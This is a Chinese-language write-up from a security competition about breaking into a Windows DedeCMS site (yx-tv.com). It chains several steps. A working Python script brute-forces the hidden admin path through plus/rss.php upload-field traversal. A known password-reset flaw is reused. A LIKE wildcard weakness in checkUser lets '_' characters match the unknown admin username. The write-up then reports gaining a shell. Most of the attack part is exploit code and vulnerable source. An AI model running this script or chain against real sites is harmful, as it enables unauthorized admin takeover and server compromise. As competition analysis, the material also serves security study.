巅峰极客里遇到的一个案例(yx-tv.com)。
案例为,windows下的dedecms 好像是2017版本, 开启了会员中心,修改了后台的路径, 然后用之前windows下dedecms找后台路径的方法, 发现tags.php被删除了, 但是plus/rss.php文件存在, 然后用这方法就成功的找到了后台。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requests import sys payloads = 'abcdefghijklmnopqrstuvwxyz0123456789_-' menu = '' for k in range(10): for payload in payloads: data = "dopost=save&_FILES[b4dboy][tmp_name]=../%s%s</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif"% (menu, payload) res = requests.post("http://www.yx-tv.com/plus/rss.php", data=data, headers={"Content-Type":"application/x-www-form-urlencoded"}) if res.content.decode("utf-8").find("Error") > -1: menu += payload break if payload == '-': print(menu) sys.exit() print(menu)
然后猜了下后台的管理员账户, 没猜到, admin直接提示账户不存在。 然后再利用之前的重置管理员密码的漏洞。https://xz.aliyun.com/t/1959 成功重置了管理员的密码, 但是修改cookie登录后, 发现显示的管理员账号是admin, 但是之前在登录后台的时候试了下admin, 是直接提示的账户不存在。 (好像是显示的是uname, 但是最终登录是看的userid)
后面发现在dede/login.php中
1 $res = $cuserLogin->checkUser($userid,$pwd);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 /** * 检验用户是否正确 * * @access public * @param string $username 用户名 * @param string $userpwd 密码 * @return string */ function checkUser($username, $userpwd) { global $dsql; //只允许用户名和密码用0-9,a-z,A-Z,'@','_','.','-'这些字符 $this->userName = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $username); $this->userPwd = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $userpwd); $pwd = substr(md5($this->userPwd), 5, 20); $dsql->SetQuery("SELECT admin.*,atype.purviews FROM `#@__admin` admin LEFT JOIN `#@__admintype` atype ON atype.rank=admin.usertype WHERE admin.userid LIKE '".$this->userName."' LIMIT 0,1"); $dsql->Execute(); $row = $dsql->GetObject(); if(!isset($row->pwd)) { return -1; } else if($pwd!=$row->pwd) { return -2; } else { $loginip = GetIP(); $this->userID = $row->id; $this->userType = $row->usertype; $this->userChannel = $row->typeid; $this->userName = $row->uname; $this->userPurview = $row->purviews; $inquery = "UPDATE `#@__admin` SET loginip='$loginip',logintime='".time()."' WHERE id='".$row->id."'"; $dsql->ExecuteNoneQuery($inquery); $sql = "UPDATE #@__member SET logintime=".time().", loginip='$loginip' WHERE mid=".$row->id; $dsql->ExecuteNoneQuery($sql); return 1; } }
先通过用户输入的用户名查询出密码, 如果有记录的话, 就比对密码。 但是在这里 根据用户名查询密码的时候
1 WHERE admin.userid LIKE '".$this->userName."
竟然是用的like。
1 $this->userName = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $username);
虽然在前面有把一些用户名不允许的字符给替换为空了, 想直接用%这种匹配任意数量字符的模糊查询出数据就不行了。 但是可以看到这个过滤没有把_替换为空。
1 2 3 4 5 With LIKE you can use the following two wildcard characters in the pattern: % matches any number of characters, even zero characters. _ matches exactly one character.
在mysql中的模糊查询中, _也代表着匹配一个任意字符。
所以在不知道管理员的用户名的情况下, 只要去用_跑一下, 当_的位数和管理员账户的位数相同时即可登录成功了。
巅峰极客的是4位数, 然后用之前修改管理员密码的洞修改的密码, 就成功登录了后台, 然后后台getshell, 就搞定了。